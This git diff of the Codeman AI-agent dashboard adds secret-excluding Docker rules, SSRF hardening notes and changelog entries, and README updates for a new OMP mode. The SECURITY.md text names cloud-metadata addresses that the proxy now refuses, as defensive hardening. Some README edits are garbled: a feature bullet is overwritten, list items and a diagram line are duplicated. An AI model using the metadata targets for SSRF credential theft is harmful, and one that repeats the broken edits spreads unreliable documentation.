diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 00000000..ca5806c3 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,18 @@ +.git +.agents +.claude +.codex +# `**/` matters: a .dockerignore pattern is matched against the WHOLE +# context-relative path, so a bare `.env` excludes ONLY the root file and +# `COPY . .` would bake docker/.env -- CODEMAN_PASSWORD and any provider API +# keys -- into the published image at /opt/codeman/docker/.env (verified). +**/.env +**/.env.* +!**/.env.example +node_modules +dist +coverage +out +test-results +tmp +*.log diff --git a/.github/SECURITY.md b/.github/SECURITY.md index 6e378f6f..db062166 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -69,10 +69,18 @@ shared-host, multi-user, or tunneled deployments. - **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values. - **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5. -Recent hardening (this release): web-push subscription endpoints are restricted -to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at -subscribe and send time), and tmux session names discovered on the shared socket -are validated against the safe-name pattern before reaching any shell call site. +- **The web-tab proxy fetches from the server's network position.** Any authenticated user can save a dashboard URL on loopback or a private range and have Codeman relay to it; that is the feature. Link-local and cloud-metadata addresses are the only refused targets (see below). On a shared host, restrict who holds an account. + +Recent hardening (2026-09-04): the web-tab proxy, its "Test" probe and its +WebSocket relay refuse link-local and cloud-metadata targets (`169.254.0.0/16`, +`fe80::/10`, `fd00:ec2::254`, `168.63.129.16`, `100.100.100.200`, +`metadata.google.internal`), judged on the RESOLVED address so a DNS name pointing +there is refused too; proxy capabilities are revoked on logout, admin logout and +user deletion; proxied responses carry `Referrer-Policy: same-origin`. Earlier: +web-push subscription endpoints are restricted to https public hosts (SSRF guard, +rejects internal/metadata IP literals, validated at subscribe and send time), and +tmux session names discovered on the shared socket are validated against the +safe-name pattern before reaching any shell call site. For the detailed rationale, defenses, and recommended secure setups, see [`docs/security-architecture.md`](../docs/security-architecture.md). diff --git a/.gitignore b/.gitignore index 954c0144..41099ea7 100644 --- a/.gitignore +++ b/.gitignore @@ -2,6 +2,9 @@ .agents/ skills-lock.json + +# In-session decision scratchpad (context-survival mechanism, not a deliverable) +DECISIONS.md # Written by install.sh into end-user clones when setup finishes .install-complete diff --git a/AGENTS.md b/AGENTS.md index ed6638df..49991d86 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,7 +2,8 @@ Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) — project structure, build/test/lint commands, code style, testing safety rules -(never run the full suite inside a managed tmux session), security notes, and +(`npm test` is the CI gate and is safe to run bare; the three excluded suites +have their own runners), security notes, and the deployment workflow are all maintained there. Please read it before making changes, and keep it the single source of truth rather than duplicating sections here. diff --git a/CHANGELOG.md b/CHANGELOG.md index aaa8bd6d..f055d023 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,185 @@ # aicodeman +## 1.24.7 + +### Patch Changes + +- The web-tab proxy refuses link-local and cloud-metadata targets. Its Test probe, the proxy itself and the WebSocket relay accepted any http(s) host, so a saved dashboard URL could reach `169.254.169.254` (in decimal, hex, IPv6-mapped or DNS-name form) through a capability and no cookie. Loopback and RFC1918 addresses stay allowed on purpose, since a localhost Grafana is the feature; only link-local and the fixed cloud-metadata addresses are refused, at the schema, at every connect site, and through a DNS lookup hook that judges the resolved addresses, which is what closes DNS rebinding. Adds `undici` so the proxy runs its fetch through its own agent. + + Proxy capabilities are revoked on logout. `revokeOwner()` had shipped with no caller, so a leaked proxy URL stayed valid for as long as anything kept polling it. `POST /api/logout`, the admin forced logout and user deletion now revoke the capabilities they should, and proxied responses carry `Referrer-Policy: same-origin` with the upstream's own policy dropped, so a dashboard on a loose referrer policy cannot hand the capability to a third-party host it links to. + + The Docker Compose deployment updates itself from App Settings again (#373, @opticon454). The checkout Compose builds from is bind-mounted at `/opt/codeman`, so an update's `git checkout` and rebuild land on the host and survive container recreation; build artefacts live in named volumes so container-compiled native modules never enter the host checkout; the image keeps devDependencies and a build toolchain; and the restart is the server exiting under `restart: unless-stopped`. An in-place update applies code only, so the updater refuses a release that changes `server.Dockerfile` or `docker-compose.yaml`, or that adds keys to `.env.example` the user's `.env` has no value for (Compose interpolates an unset variable to the empty string and starts anyway), and points at `docker/Start-Codeman.sh` on the host instead. The four global agent CLIs in the image are pinned. A follow-up makes the final step fail safe: the server exits only when the Compose file declares `CODEMAN_RESTART_BY_EXIT=1` or the daemon confirms an auto-restart policy, and otherwise the build is staged for a manual restart, so a container nothing would restart is never taken down. Details in `docs/docker-self-update.md`. + + The test suite strips `CODEMAN_INSTANCE`, `CODEMAN_DATA_DIR` and `CODEMAN_TMUX_SOCKET` before any application module loads (#371, @opticon454), with a two-half test whose static half reads `test/setup.ts` so a dropped line fails everywhere. This replaces the throwaway data dir #356 had set for the same variable. + + ### Thanks + - @opticon454 for the Compose self-update (#373) and the test isolation fix (#371). + +## 1.24.6 + +### Patch Changes + +- CLI backends are now a data-driven registry (#347, @opticon454). Every run mode (Claude Code, Terminal/Shell, OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek Harness and OMP) is a `CliEntry` in `src/config/cli-registry/`: binary discovery (search dirs, version and identity probes), the launch argv template, environment handling, the multi-user privileged-parameter and privileged-env-key clamps, the remote and Docker pane commands, and the capability flags the rest of the app reads instead of branching on a CLI's name. `~/.codeman/clis.json` can override any stock entry or add a custom CLI; it is read-only in this release, must be mode 0600, and every reason it was ignored is now logged once on first load (`docs/cli-registry.md`). Config never contains shell text: entries declare typed argv tokens, literals are validated at load time, and values resolve through patterns named in code. Registry data resolves at call time rather than at module import, so a CLI enabled while the server runs moves every surface at once, and a guard test fails the build if per-CLI-id branching reappears outside the stock catalog. + + This is an internal refactor. The spawn command every CLI receives is byte-identical to the previous hand-written builders, verified by pinned golden strings in the test suite and by diffing both implementations across 11,602 option combinations for all ten modes. Five small deliberate changes ride along: the in-container version probe derives the binary from the registry (`antigravity` runs `agy`), the remote version probe now covers Grok and DeepSeek, `codeman doctor`'s CLI rows are generated from the registry (Claude's install hint is the install command, five CLIs gain hints, the row order follows the catalog), OMP now requires tmux like its siblings instead of silently falling back to a direct PTY, and an OMP session's attach client now receives `COLORTERM=truecolor` like the other truecolor CLIs. + + Remote sessions are no longer auto-revived after a clean agent exit (#355, @timkjr). The reconnect watcher could not tell a transport drop from a Ctrl-C, Ctrl-D or `exit` inside the remote CLI, so a clean exit relaunched a fresh agent (OpenCode and OMP started a new conversation every time; Claude only looked fine because its `--resume` fallback masked it). The watcher now revives a dead pane only when the durable remote tmux session is verifiably still alive, via a `has-session` probe over ssh, and an unreachable host means do not revive. A follow-up classifies that probe by exit status, since `tmux has-session` prints nothing on success and reading its stdout had marked every live session as gone, forgets the cached answer whenever the pane is seen alive again so a stale result cannot revive a later clean exit, and caps the probe at one in flight per session. + + The test suite can no longer reach the production `~/.codeman` data dir (#356, @timkjr). `test/setup.ts` now points `CODEMAN_DATA_DIR` at a throwaway directory, which is the absolute override that bypasses the suite's temporary HOME when inherited from the shell, and every test that deletes a case tree goes through a containment gate that refuses paths outside the temporary HOME. A bare suite run had overwritten a real `remote-hosts.json` with a route test's fixture. The comments around it and CLAUDE.md's testing section now name that variable as the cause; `os.homedir()` itself does follow `$HOME`. + + ### Thanks + - @opticon454 for the CLI registry (#347), the phased resubmission of #343, and the review rounds that hardened it. + - @timkjr for the remote auto-revive fix (#355) and the test-isolation sweep (#356). + +## 1.24.5 + +### Patch Changes + +- Fable 5.1 is selectable in App Settings. + + `claude-fable-5-1` is in Claude Code's model catalog (display name "Fable 5.1", June 2026 knowledge cutoff), but the model picker only went up to Fable 5, so pinning it meant hand-editing a case's `.claude/settings.local.json`. It now appears as a card under **App Settings -> Models -> New Claude sessions**, and as an option in **Task routing** (Default for tasks, plus the Explore / Implement / Test / Review overrides). + + It is offered exactly the way Fable 5 already is: the "1M capable" badge, the 1M context window switch stays live for it, and base + switch compose into `claude-fable-5-1[1m]`. Both strings are accepted by the CLI. + + Deliberately not claimed: that a 1M window is what sets Fable 5.1 apart. The CLI's model catalog marks both fable entries as natively 1M with the same window, so an always-on window for 5.1 next to a switchable one for 5 would encode a difference the models do not have. + + ### Thanks + - @shenlvkang-collab for #370, which surfaced that Fable 5.1 was missing from the picker. + +## 1.24.4 + +### Patch Changes + +- The Compose deployment image ships the Docker CLI instead of the whole Docker engine. + + `docker/server.Dockerfile` installed Debian's `docker.io` to get a client for the mounted + host socket. That package is the full **engine**: even with `--no-install-recommends` it + pulls 15 packages including containerd, runc, dmsetup and iptables, none of which a + container that only talks to a socket can use. It also ships Docker 20.10.24, from 2023. + + The CLI and the buildx plugin are now copied from the official `docker:29-cli` image + instead. Measured on the same `node:22-bookworm-slim` base: **266 MB → 108 MB**, a 158 MB + saving, with the current CLI (29.7.2) in place of a two-year-old one. + + Verified by building the real image and running it: the binaries are static Go builds, so + they work on this glibc image even though they come from an Alpine one, and `docker +--version`, `docker ps` and `docker build` all succeed against a mounted host socket as + the unprivileged runtime user. buildx is copied deliberately — `scripts/build-agent-image.mjs` + shells out to `docker build` and Codeman auto-builds the agent image on the first Docker + case, which without the plugin falls back to the classic builder Docker has deprecated. + `docker-compose` is not copied; Codeman never shells out to it. + +## 1.24.3 + +### Patch Changes + +- Docker Compose deployment, and the plan-usage chip stops losing its 5-hour window. + + **Run Codeman itself in a container** (#349, @opticon454). `docker/` now carries a + local-image Compose deployment: copy `docker/.env.example` to `docker/.env`, set + `CODEMAN_PASSWORD`, run `bash docker/Start-Codeman.sh`. Docker cases then start as + **sibling** containers through the mounted host socket rather than nested ones, which + inverts an assumption the bare-host path takes for granted: the daemon no longer shares + Codeman's filesystem, so a bind source that is valid inside Codeman means nothing to it. + `CODEMAN_DOCKER_HOST_HOME` translates sources under HOME into the daemon's namespace and + `CODEMAN_CASES_PATH` points the cases dir at a host-absolute bind mount, so a workspace + resolves to the same absolute path on both sides. `CODEMAN_DOCKER_DISABLE_SWAP_LIMIT=1` + drops `--memory-swap` for hosts without swap accounting (`--memory` still applies) and + filters only that one kernel warning. Guides: `docs/docker-compose.md`, `docker/README.md`. + + Three things were fixed while landing it: + - **`docker/.env` was being baked into the image.** A `.dockerignore` pattern matches the + whole context-relative path, so the bare `.env` line excluded only the root file while + `COPY . .` picked up `docker/.env` — the file the deployment's own README tells you to + fill with `CODEMAN_PASSWORD` and provider API keys — and left it at + `/opt/codeman/docker/.env`. Now excluded via `**/.env`, verified in both directions + against a real build context with a canary secret. + - **`codeman skill install --case ` could not find a case under Compose.** + `CODEMAN_CASES_PATH` moved the server's cases dir but not the CLI's, which still + hardcoded `~/codeman-cases`. Both now resolve through one place. + - **A Docker case handed its Claude conversation id to every other CLI.** `resumeOnStart` + seeded `dockerResumeId` from `lastClaudeSessionId` regardless of mode, and + `appendResumeFlag()` maps a resume id onto codex/gemini/pi/grok/deepseek/omp/antigravity. + This one is a plain master bug, unrelated to Compose. + + **The plan-usage chip keeps its 5-hour slot.** It silently shrank from `5h 4% · 7d 52%` + to a lone `7d 52%`, which reads as half the feature breaking. Nothing was broken: Claude + Code ships `rate_limits.five_hour` "only while the API reports it and its resets_at has + not passed", so between 5-hour session windows the key simply leaves the statusline + payload. The slot now stays with a dimmed em dash and the tooltip says "no active session + window". Claude only — a missing Codex bucket means that plan has no such limit, so those + stay omitted. + + ### Thanks + - @opticon454 for #349, and for a write-up that made an infrastructure PR quick to review + +## 1.24.2 + +### Patch Changes + +- Fix every new claude session dying on Claude Code 2.1.252's rewritten folder-trust dialog. + + That dialog used to offer `❯ 1. Yes, I trust this folder` / `2. No, exit`, so Codeman + answered it by pressing Enter on the highlighted default. 2.1.252 dropped the numbers, + reversed the options and highlights `No, exit`, so the same Enter now answers _exit_: a + session in any directory claude had not seen before died (`Pane is dead (status 1)`) + about six seconds after it started, before the agent ever drew a composer. + - `trustDialogNextKey()` (`src/session-trust-dialog.ts`) now reads the `❯` marker off + the rendered pane and returns ONE keystroke at a time: an arrow while the cursor is on + the wrong option, Enter only once the screen shows it on the trust option. A frame it + cannot read presses nothing. Both the 2.1.252 and the older numbered layout are + handled, and the direction is derived from the frame rather than assumed, so a further + reordering costs a repaint instead of a session. + - The scan schedules its own follow-up read. It had only ever run from the PTY data + handler, which was enough while one Enter answered the dialog; the arrow that moves the + cursor is the last output the pane produces, so a two-keystroke answer would otherwise + stall with the cursor sitting on the right option forever. The keystroke cap goes from + 3 to 6 for the same reason. + - The bundled `codeman` agent skill gets the same treatment (preamble 1.21.0): its + `_accept_trust` fallback reads `terminal?full=1`, steers onto the trust option and + confirms only after re-reading, instead of posting a blind `\r`. It sends those + keystrokes under its own `clientId`, because input sequence numbers are monotonic per + client and spending prompt numbers on dialog keys would make the next send-and-wait + look like a stale duplicate and vanish silently. + - Readiness recipes in `docs/extending-codeman.md`, `docs/api-reference.md` and the + skill's own reference carry the corrected answer and a new symptom-table entry for a + worker whose pane is dead seconds after the spawn. + + Also included: a CLAUDE.md audit against the tree, correcting counted drift (route + modules, handler counts, frontend module count and app.js size, install.sh size) and + documenting several subsystems that had no entry. + +## 1.24.1 + +### Patch Changes + +- The Docker agent base image builds again. + + **`docker/agent.Dockerfile` could not be built from a fresh checkout** (#352, fix in #350): the DeepSeek Harness step died with `dsh: pnpm not found on PATH` and exit 127, which took the whole image with it and, because Codeman auto-builds this image on the first Docker case, left Docker mode unusable on a clean host. `dsh plugin` does not bundle a package manager; it spawns a literal `pnpm` with no npm fallback, so pnpm is now installed alongside `dsh` and the layer proves it with `pnpm --version`. + + The profile install also passes `--config.dangerouslyAllowAllBuilds=true`, because pnpm, unlike npm, refuses dependency lifecycle scripts by default and fails the install over it (`ERR_PNPM_IGNORED_BUILDS`, exit 1). Which packages that hits moves between rebuilds, since the terminal profile is resolved by dist-tag rather than pinned: the tree that broke the build in August pulled `@google/genai`, today's does not. An allowlist of those names would have gone stale rather than prevented the next break, and running those scripts is the same exposure the image already accepts three layers up, where `npm install -g` runs the install scripts of every transitive dependency of the five CLIs above it with no gate at all. + + Documentation caught up with two things it had wrong: the image smoke test in `docs/docker-cases.md` now covers `dsh` and `omp`, and checks the dsh **profile** rather than only the binary (`dsh` is a launcher, so `dsh --version` says nothing about whether a session can start), and `docs/deepseek-integration.md` names pnpm as a prerequisite for installing a terminal profile at all, by hand or through the UI button. A comment in the `/api/deepseek/install-profile` route claimed the opposite of what this bug proved, and is corrected; the route's behaviour was already right, surfacing dsh's own "pnpm not found on PATH" line as the install error. + + ### Thanks + - @opticon454 for #350, with a reproduction that made this a confirmation rather than a hunt + - @timkjr for reporting #352, and for finding it while verifying Docker support for someone else's PR + +## 1.24.0 + +### Minor Changes + +- OMP (Oh My Pi) as a tenth run mode, mode-faithful Resume for external CLIs, and a cleaner plan-usage chip. + + **OMP (`omp`) run mode** (#353): Oh My Pi joins Claude Code, shell, OpenCode, Codex, Gemini, Antigravity, Pi, Grok Build and DeepSeek Harness as a run mode, in local, Docker and remote-SSH sessions: toolbar dropdown, welcome button, phone overview, command palette, clone-repo brain picker, cron agent types, tab badges and per-mode colours, plus `GET /api/omp/status`, a `codeman doctor` entry, install.sh detection and the docker agent image. The resolver leads with `~/.local/bin` (the upstream installer's real target) and demands `omp/` from `--version`, so an unrelated binary with the same three-letter name is never spawned. Past omp conversations appear in Past Sessions, read from omp's own session files (the header line carries the real working directory, so nothing has to reverse-engineer omp's directory mangling), and a respawned or resumed omp session is pinned to an exact conversation with `--resume ` instead of omp's newest-file `--continue`. Review hardening before merge: the pin is resolved only at the moment a respawn is actually confirmed (an eager resolve on boot recovery used to alias two omp tabs in one case directory onto one conversation), candidates are verified against their own header `cwd` and claimed process-wide so siblings cannot double-pin; `OMP_*` joins the env-override allowlist and `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` are clamped for non-granted owners in multi-user mode, the same shape as `DEEPSEEK_BASE_URL`. Known and documented: omp's own knobs are mostly `PI_*` (it is a pi fork), its default `tools.approvalMode` is `yolo`, and in-container `--resume` pinning does not reach a Docker omp pane. + + **Resume keeps the row's own CLI** (#353): clicking Resume on an OpenCode, Pi, Grok, DeepSeek or OMP row used to create a plain Claude session, since the create request never carried the row's mode. Resume now relaunches in the row's own mode with that CLI's continue flag, and retires the stale row it came from so three clicks no longer leave three copies of the same name. Codex, Gemini and Antigravity rows have no continuation wired yet, so their rows are deliberately left in place. `DELETE /api/sessions/:id` accepts a persisted-only session (ownership enforced through the same helper as live lookups, 404 rather than 403 so nothing leaks) and broadcasts `session_deleted` so other tabs drop the row too. + + **Plan-usage chip drops the provider label when there is only one**: a machine with only Claude limits rendered `CLAUDE 5H 60% 7D 23%`, a 46px label naming the only thing it could be. The name exists to tell two rows apart, so it now appears only when both Claude and Codex have windows; the tooltip still names the provider either way. + + ### Thanks + - @timkjr for #353, and for turning every review finding around within a day + ## 1.23.2 ### Patch Changes diff --git a/README.md b/README.md index bab942c3..683f226f 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@

Mission control for AI coding agents

- Claude Code • OpenCode • Codex • Antigravity • Gemini • Pi • Grok • Terminal - One Dashboard • Any Device + Claude Code • OpenCode • Codex • Antigravity • Gemini • Pi • Grok • OMP • Terminal - One Dashboard • Any Device

@@ -27,7 +27,7 @@ Codeman — parallel subagent visualization

-**Codeman** is a self-hosted mission control for AI coding agents. It spawns Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, or Grok inside persistent tmux sessions, streams the real terminal to any browser, and keeps agents productive after you walk away: it re-prompts on idle, resumes when a usage limit resets, runs scheduled jobs, and shows every background agent working in real time. +**Codeman** is a self-hosted mission control for AI coding agents. It spawns Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, Grok, or OMP inside persistent tmux sessions, streams the real terminal to any browser, and keeps agents productive after you walk away: it re-prompts on idle, resumes when a usage limit resets, runs scheduled jobs, and shows every background agent working in real time. Get started in one line (macOS & Linux, Windows via WSL): @@ -42,7 +42,7 @@ codeman web The installer asks before every system change, and re-running the same line updates in place. Full details: [Quick Start - Installation](#quick-start---installation). -- **One dashboard, seven CLIs** - run [Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, or Grok](#more-features) per session (plus plain shell), locally, [in Docker](#isolated-docker-sessions), or [over SSH](#remote-ssh-sessions) +- **One dashboard, eight CLIs** - run [Claude Code, OpenCode, Codex, Antigravity, Gemini, Pi, Grok, or OMP](#more-features) per session (plus plain shell), locally, [in Docker](#isolated-docker-sessions), or [over SSH](#remote-ssh-sessions) - **Truly phone-friendly** - a [touch-optimized terminal](#mobile-optimized-web-ui) with instant local echo, QR login, swipe navigation, and push notifications - **Runs while you sleep** - [idle detection + respawn cycling](#respawn-controller) and auto-resume when a subscription limit resets, for 24+ hour unattended runs - **See your agents think** - [live floating windows](#live-agent-visualization) for every subagent and teammate, with real-time transcripts @@ -68,7 +68,7 @@ This installs Node.js, tmux and a build toolchain if missing (node-pty ships no - **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh update` and `install.sh uninstall` also exist. - **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to approve them for automation. -You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), or [Grok Build](https://github.com/xai-org/grok-build) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the seven is present; if none is found, it offers to install Claude Code or OpenCode, or you can skip and install one yourself later. After install: +You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), or [OMP](https://github.com/can1357/oh-my-pi) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the nine is present; if none is found, it offers to install Claude Code or OpenCode, or you can skip and install one yourself later. After install: ```bash codeman web @@ -82,6 +82,8 @@ codeman users add alice --admin # create the first admin account codeman web --multiuser # named logins + per-user case spaces ``` +**Prefer Docker Compose?** A local-image Compose deployment ships in `docker/`: copy `docker/.env.example` to `docker/.env`, set `CODEMAN_PASSWORD`, then run `bash docker/Start-Codeman.sh` on Linux. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. See the [Docker deployment guide](docker/README.md) for direct Compose commands, storage and networking options. + Details in [Multi-User Mode](#multi-user-mode-opt-in) below.
@@ -171,7 +173,7 @@ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist wsl bash -c "curl -fsSL https://getcodeman.com/install | bash" ``` -Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), or [Grok Build](https://github.com/xai-org/grok-build)). After installing, `http://localhost:3000` is accessible from your Windows browser. +Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), or [OMP](https://github.com/can1357/oh-my-pi)). After installing, `http://localhost:3000` is accessible from your Windows browser.
@@ -253,7 +255,7 @@ Click **+ New Session** (or **Quick Start**). A session is one AI CLI running in | Field | What it does | | ---------------------------- | ------------------------------------------------------------------------------------------------------------------- | | **Working directory / case** | The folder the agent operates in. A "case" is just a named working dir Codeman remembers. **Add Case** creates one from scratch, links an existing folder, or clones a GitHub repo straight into one (**Clone Repo**). | -| **CLI / run mode** | `Claude` (default), `OpenCode`, `Codex`, `Antigravity`, `Gemini`, `Pi`, `Grok`, or `Terminal` (plain shell). | +| **CLI / run mode** | `Claude` (default), `OpenCode`, `Codex`, `Antigravity`, `Gemini`, `Pi`, `Grok`, `OMP`, or `Terminal` (plain shell). | | **Model** | Per-session model (App Settings → Models → New Claude sessions). A soft default — `/model` still works in-session. | | **Effort / Ultracode** | Reasoning effort (`low`–`max`) or `ultracode` for dynamic multi-agent workflows. Switchable anytime with `/effort`. | @@ -437,7 +439,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt - **Background daemon & service install** — `codeman web -d` runs the server detached with a pidfile, `~/.codeman/web.log`, and verified startup (it polls the server until it answers, so a port clash never reads as success); `codeman service install` writes a systemd user unit (Linux) or LaunchAgent (macOS) with your shell's PATH baked in, so an nvm or Homebrew `node`, `tmux` and `claude` are actually found. Secrets are never written into unit files - **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → System → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable) - **Clone a GitHub repo as a case** — paste a repository URL into **Add Case → Clone Repo** and Codeman clones it into `~/codeman-cases/` and registers it as a normal case, ready to run an agent in. It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use. Public repositories over `https://`; Codeman never collects or stores credentials -- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, or **Grok** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md) and [`docs/grok-integration.md`](docs/grok-integration.md) +- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, or **OMP** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `OMP_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md) and [`docs/omp-integration.md`](docs/omp-integration.md) - **Docker sessions** — run a case inside an isolated, hardened container. One checkbox on **Create New** spins up a container with sensible defaults and starts the agent inside it; multiple sessions share one per-case container; export a container + its workspace to a portable `.tar.gz` to move it to another machine. See [`docs/docker-cases.md`](docs/docker-cases.md) - **Remote SSH sessions** — point a case at another machine and run the agent there inside a durable remote tmux: survives SSH drops, auto-reconnects, and can discover + attach sessions already running on the host. See [`docs/remote-sessions.md`](docs/remote-sessions.md) - **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too @@ -460,7 +462,7 @@ Run a case inside its own hardened Docker container instead of directly on your - **Shared per-case container** — many sessions can `docker exec` into the same container; killing one session never tears the container out from under the others. - **Hardened by default** — non-root, `--cap-drop ALL`, `no-new-privileges`, PID/memory caps, never `--privileged` or the docker socket; a **sealed** profile (no host credentials, network off) is one toggle away. - **Seamless auth, isolated credentials** — your host Claude / Codex / Antigravity / Gemini / OpenCode / Pi logins work inside the container out of the box: credentials are seeded (copied) in at launch and onboarding/trust prompts are pre-answered, so no login wizard appears. The container keeps its own copies and never writes back to your host credential stores; only conversation transcripts are shared, and exports never capture secrets. -- **Move it to another machine** — export a container's whole environment (toolchain + workspace) to a portable `.tar.gz`, `docker load` it on the other side, and import it into a fresh case. +- **Seamless auth, isolated credentials** — your host Claude / Codex / Antigravity / Gemini / OpenCode / OMP logins work inside the container out of the box: credentials are seeded (copied) in at launch and onboarding/trust prompts are pre-answered, so no login wizard appears. The container keeps its own copies and never writes back to your host credential stores; only conversation transcripts are shared, and exports never capture secrets.- **Move it to another machine** — export a container's whole environment (toolchain + workspace) to a portable `.tar.gz`, `docker load` it on the other side, and import it into a fresh case. - **Durable** — reconnect after a restart lands back in the same live agent; a container stop/reboot resumes the conversation from the bind-mounted transcript. Prerequisite: just Docker (or Podman). The agent base image builds itself automatically on first use, with progress streamed to the UI (or pre-build it with `node scripts/build-agent-image.mjs`). Full guide: [`docs/docker-cases.md`](docs/docker-cases.md). @@ -795,7 +797,7 @@ When a CLI runs in a Codeman-managed session, these environment variables are se 5. **`/api/v1/*`** is a stable alias of `/api/*`. 6. **Wait instead of polling, and don't treat a timeout as an error.** The wait endpoints answer with HTTP `200` and `wait.timedOut: true` when nothing happened in time, so loop over short waits (60s is the default) rather than issuing one long call, because tunnels cut idle connections. `wait.timeoutMs` tells you the timeout the server actually applied after clamping (600s ceiling). 7. **Only `claude` sessions emit `stop` and `blocked`.** Those two come from Claude Code hooks; `shell` and the external CLIs (opencode/codex/gemini/antigravity/pi) accept only `idle`, `working` and `exit`. Asking for `stop` explicitly on those is a `400`; omitting `until` is always safe. ⚠️ On a `shell` session `idle` fires **once**, at startup, and never again, so send-and-wait there can only time out; synchronize hook-less sessions with a `wait-output` marker. -8. **Nothing reports "ready", so wait for it explicitly.** A new session answers `{"signal":"exit","immediate":true}` (that means *not started*, not *crashed*) until its PID exists, and a `claude` worker in a fresh case then sits on the CLI's trust dialog. Prompt it there and the wait resolves on `idle` in ~2s looking exactly like a finished turn, while the text sits stuck in the dialog. Recipe 2b below is the sequence that avoids it. +7. **Only `claude` sessions emit `stop` and `blocked`.** Those two come from Claude Code hooks; `shell` and the external CLIs (opencode/codex/gemini/antigravity/omp) accept only `idle`, `working` and `exit`. Asking for `stop` explicitly on those is a `400`; omitting `until` is always safe. ⚠️ On a `shell` session `idle` fires **once**, at startup, and never again, so send-and-wait there can only time out; synchronize hook-less sessions with a `wait-output` marker.8. **Nothing reports "ready", so wait for it explicitly.** A new session answers `{"signal":"exit","immediate":true}` (that means *not started*, not *crashed*) until its PID exists, and a `claude` worker in a fresh case then sits on the CLI's trust dialog. Prompt it there and the wait resolves on `idle` in ~2s looking exactly like a finished turn, while the text sits stuck in the dialog. Recipe 2b below is the sequence that avoids it. ### Recipes @@ -1011,7 +1013,7 @@ flowchart TB subgraph External["External"] CLI["AI CLI
Claude Code / OpenCode / Codex / Antigravity / Gemini / Pi"] - BG["Background Agents
(Task tool)"] + CLI["AI CLI
Claude Code / OpenCode / Codex / Antigravity / Gemini / OMP"] BG["Background Agents
